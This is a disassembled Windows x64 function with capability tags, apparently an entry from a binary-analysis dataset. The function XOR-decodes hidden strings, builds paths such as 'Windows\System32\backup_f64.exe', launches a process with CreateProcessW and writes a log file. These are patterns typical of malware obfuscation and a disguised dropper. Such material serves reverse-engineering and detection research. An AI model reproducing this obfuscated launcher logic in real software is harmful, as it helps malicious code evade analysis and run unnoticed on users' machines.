Function at 0x1400099c0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x1400710c0]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
xor ebx, ebx
movdqa xmm0, xmmword [0x1400688f0]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x1400688b0]
movdqa xmmword [rbp + 0x250], xmm1
movdqa xmm0, xmmword [str._8_tCV_a]
movdqa xmmword [rbp + 0x260], xmm0
movdqa xmm1, xmmword [0x1400688c0]
movdqa xmmword [rbp + 0x270], xmm1
mov word [rbp + 0x280], 0x511d
movdqa xmm3, xmmword [0x140068920]
movdqa xmmword [rbp + 0x290], xmm3
movdqa xmm2, xmmword [0x140068910]
movdqa xmmword [rbp + 0x2a0], xmm2
movdqa xmm0, xmmword [0x1400688d0]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm1, xmmword [0x140068890]
movdqa xmmword [rbp + 0x2c0], xmm1
mov dword [rbp + 0x2d0], 0x5d4b654e
mov word [rbp + 0x2d4], 0xd51
mov byte [rbp + 0x2d6], 0x75
movdqa xmmword [rbp + 0x60], xmm3
movdqa xmmword [rbp + 0x70], xmm2
movdqa xmm0, xmmword [0x140068900]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x1400688e0]
movdqa xmmword [rbp + 0x90], xmm1
mov dword [rbp + 0xa0], 0x5c4b2108
mov word [rbp + 0xa4], 0x1c48
mov byte [rbp + 0xa6], 0x75
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov esi, 9
mov r8d, esi
lea rdx, str.xQe90yubv
lea rcx, [rbp - 0x40]
call fcn.140001e90
nop
mov edi, 7
mov r8d, edi
lea rdx, str.fg543Zu
lea rcx, [rbp - 0x40]
call fcn.1400036d0
mov edx, ebx
mov qword [rsp + 0x60], rbx
lea rax, [rbp + 0x240]
mov r15d, 1
sub r15, rax
lea rax, [rbp + 0x240]
mov r12d, 2
sub r12, rax
lea rax, [rbp + 0x240]
mov r13d, 3
sub r13, rax
lea rcx, [rbp + 0x240]
mov eax, 4
sub rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0x240]
mov r8d, 5
sub r8, rax
mov qword [rbp - 0x60], r8
lea rcx, [rbp + 0x240]
mov r14d, 6
sub r14, rcx
mov qword [rsp + 0x70], r14
lea rax, [rbp + 0x240]
sub rdi, rax
lea rcx, [rbp + 0x240]
mov eax, 8
sub rax, rcx
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x240]
sub rsi, rax
lea rcx, [rbp + 0x240]
mov eax, 0xa
sub rax, rcx
mov qword [rsp + 0x50], rax
mov r10, qword [rbp - 0x28]
mov r11, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x40]
mov r14, qword [rsp + 0x68]
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea r9, [rbp + 0x240]
add r9, rdx
xor edx, edx
mov rax, qword [rsp + 0x60]
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r15 + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 1], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r12 + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 2], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + r13]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 3], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r14 + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 4], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r8 + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 5], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
mov rax, qword [rsp + 0x70]
add rax, r9
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 6], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [rdi + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 7], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
mov rax, qword [rsp + 0x78]
add rax, r9
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 8], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [rsi + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 9], al
lea r8, [rbp - 0x40]
cmp r10, 0xf
cmova r8, rbx
movzx ecx, byte [r9 + 0xa]
mov rax, qword [rsp + 0x50]
add rax, r9
xor edx, edx
div r11
xor cl, byte [rdx + r8]
mov byte [r9 + 0xa], cl
mov rdx, qword [rsp + 0x60]
add rdx, 0xb
mov qword [rsp + 0x60], rdx
cmp rdx, 0x42
mov r8, qword [rbp - 0x60]
jb 0x140009be2
xor r12d, r12d
mov r9d, r12d
mov r14d, 6
lea r8, [rbp - 0x40]
cmp r10, 0xf
cmova r8, rbx
movzx ecx, byte [rbp + r9 + 0x290]
xor edx, edx
mov rax, r9
div r11
xor cl, byte [rdx + r8]
mov byte [rbp + r9 + 0x290], cl
inc r9
cmp r9, 0x47
jb 0x140009d64
mov r9, r12
nop dword [rax]
lea r8, [rbp - 0x40]
cmp r10, 0xf
cmova r8, rbx
movzx ecx, byte [rbp + r9 + 0x60]
xor edx, edx
mov rax, r9
div r11
xor cl, byte [rdx + r8]
mov byte [rbp + r9 + 0x60], cl
inc r9
cmp r9, 0x47
jb 0x140009da0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rax, [rbp + 0x240]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140009df0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x40]
call fcn.140001e90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp + 0x290]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140009e23
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x20]
call fcn.140001e90
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
lea rax, [rbp + 0x60]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140009e51
mov r8, rbx
lea rdx, [rbp + 0x60]
lea rcx, [rbp]
call fcn.140001e90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
lea r15, [rbp + 0x40]
mov r13, qword [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r15, r13
movabs rbx, 0x7fffffffffffffff
mov rsi, qword [rbp + 0x50]
cmp rsi, rbx
ja 0x14000a70b
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp rsi, 0xf
ja 0x140009edf
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], 0xf
movups xmm0, xmmword [r15]
movaps xmmword [rbp + 0x1e0], xmm0
jmp 0x140009f79
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140009f14
mov rdi, rbx
add rax, 0x27
mov rcx, rax
call fcn.1400211e8
mov rcx, rax
test rax, rax
je 0x14000a711
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140009f46
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140009f29
mov rax, r12
jmp 0x140009f46
cmp rcx, 0x1000
jb 0x140009f41
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a6f9
jmp 0x140009ef2
call fcn.1400211e8
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1f0], rsi
mov qword [rbp + 0x1f8], rdi
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call fcn.140039eb0
movabs rax, 0x8000000000000000
mov ecx, 0x16
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x210], xmm1
lea r12, [rbp + 0x20]
mov r15, qword [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova r12, r15
mov rsi, qword [rbp + 0x30]
cmp rsi, rbx
ja 0x14000a717
cmp rsi, 0xf
ja 0x140009fd5
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], 0xf
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x200], xmm0
jmp 0x14000a061
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x14000a00a
mov rdi, rbx
add rax, 0x27
mov rcx, rax
call fcn.1400211e8
mov rcx, rax
test rax, rax
je 0x14000a71d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000a03c
cmp rdi, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000a01f
xor eax, eax
jmp 0x14000a03c
cmp rcx, 0x1000
jb 0x14000a037
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a6ff
jmp 0x140009fe8
call fcn.1400211e8
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], rdi
lea r8, [rsi + 1]
mov rdx, r12
mov rcx, rax
call fcn.140039eb0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x230], xmm1
lea r12, [rbp]
mov rsi, qword [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r12, rsi
mov rdi, qword [rbp + 0x10]
cmp rdi, rbx
ja 0x14000a723
cmp rdi, 0xf
ja 0x14000a0bd
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], 0xf
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x220], xmm0
jmp 0x14000a158
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x14000a0f9
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400211e8
mov rcx, rax
test rax, rax
je 0x14000a729
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000a133
mov rbx, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000a116
xor eax, eax
jmp 0x14000a133
cmp rcx, 0x1000
jb 0x14000a12e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a705
jmp 0x14000a0d7
call fcn.1400211e8
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x238], rbx
lea r8, [rdi + 1]
mov rdx, r12
mov rcx, rax
call fcn.140039eb0
nop
lea rax, str.WindowsSystem32_backup_f64.exe
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x21
lea rdi, [0x140074090]
mov rax, rdi
cmp qword [0x1400740a8], 7
cmova rax, qword [0x140074090]
mov qword [rbp - 0x60], rax
mov rax, qword [0x1400740a0]
mov qword [rbp - 0x58], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rbp + 0x298], xmm0
movabs r12, 0xc000000000000000
mov qword [rbp + 0x290], r12
mov qword [rbp - 0x60], 1
lea rax, [rbp + 0x290]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.14000ec40
nop
lea rbx, [rbp + 0x1e0]
nop dword [rax]
nop word [rax + rax]
lea r8, [rbp - 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x240]
call fcn.140001f90
nop
cmp byte [rbp + 0x260], 0
jne 0x14000a403
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x14000a262
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a25d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a735
call fcn.1400211e0
add rbx, 0x20
lea rax, [rbp + 0x240]
cmp rbx, rax
jne 0x14000a200
xor ebx, ebx
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000a2b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a2af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a72f
call fcn.1400211e0
movdqa xmm0, xmmword [0x140068870]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], bx
lea r9, [fcn.140002510]
mov edx, 0x20
mov r8d, 3
lea rcx, [rbp + 0x1e0]
call fcn.140021498
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0xf
jbe 0x14000a320
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000a317
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a79c
mov rcx, rsi
call fcn.1400211e0
nop
mov rax, qword [rbp + 0x38]
cmp rax, 0xf
jbe 0x14000a35c
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000a353
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a7a2
mov rcx, r15
call fcn.1400211e0
nop
mov rax, qword [rbp + 0x58]
cmp rax, 0xf
jbe 0x14000a398
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14000a38f
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a7a8
mov rcx, r13
call fcn.1400211e0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000a3d3
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a3ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a6f3
call fcn.1400211e0
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.1400211c0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x64], xmm0
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
mov dword [rbp + 0xc4], eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov dword [rbp + 0x60], 0x68
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000a49b
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xd0]
call fcn.14003a630
lea rax, str.WindowsSystem32czero_log
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x1c
cmp qword [0x1400740a8], 7
cmova rdi, qword [0x140074090]
mov qword [rbp - 0x60], rdi
mov rax, qword [0x1400740a0]
mov qword [rbp - 0x58], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rbp + 0x298], xmm0
mov qword [rbp + 0x290], r12
mov qword [rbp - 0x60], 1
lea rax, [rbp + 0x290]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.14000ec40
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0xd0]
call fcn.140003ec0
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rdi
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xcc], edx
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000a5bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a5b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a73b
call fcn.1400211e0
movdqa xmm0, xmmword [0x140068870]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], bx
cmp qword [rbp + 0x158], 0
je 0x14000a628
lea rcx, [rbp + 0xd8]
call fcn.140003dc0
test rax, rax
jne 0x14000a628
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x118], 0
mov eax, 2
cmovne r14d, eax
or r14d, dword [rbp + rcx + 0xe0]
and r14d, 0x17
mov dword [rbp + rcx + 0xe0], r14d
mov eax, dword [rbp + rcx + 0xe4]
and eax, r14d
jne 0x14000a741
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xd0], rdi
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xd8]
call fcn.1400031e0
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xcc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x178], rax
lea rcx, [rbp + 0x178]
call fcn.14001f86c
nop
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x14000a274
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a6e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a796
call fcn.1400211e0
jmp 0x14000a274
call fcn.140028db8
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001320
int3
call fcn.140028db8
nop
call fcn.140001320
int3
call fcn.140028db8
nop
call fcn.140001320
int3
call fcn.140028db8
nop
call fcn.140028db8
nop
call fcn.140028db8
nop
call fcn.140028db8
int3
test al, 4
je 0x14000a74e
lea rbx, str.ios_base::badbit_set
jmp 0x14000a762
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x60]
call fcn.140001460
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x290]
call fcn.140001c80
lea rdx, [0x14006f8e8]
lea rcx, [rbp + 0x290]
call fcn.1400233e4
nop
call fcn.140028db8
nop
call fcn.140028db8
nop
call fcn.140028db8
nop
call fcn.140028db8
int3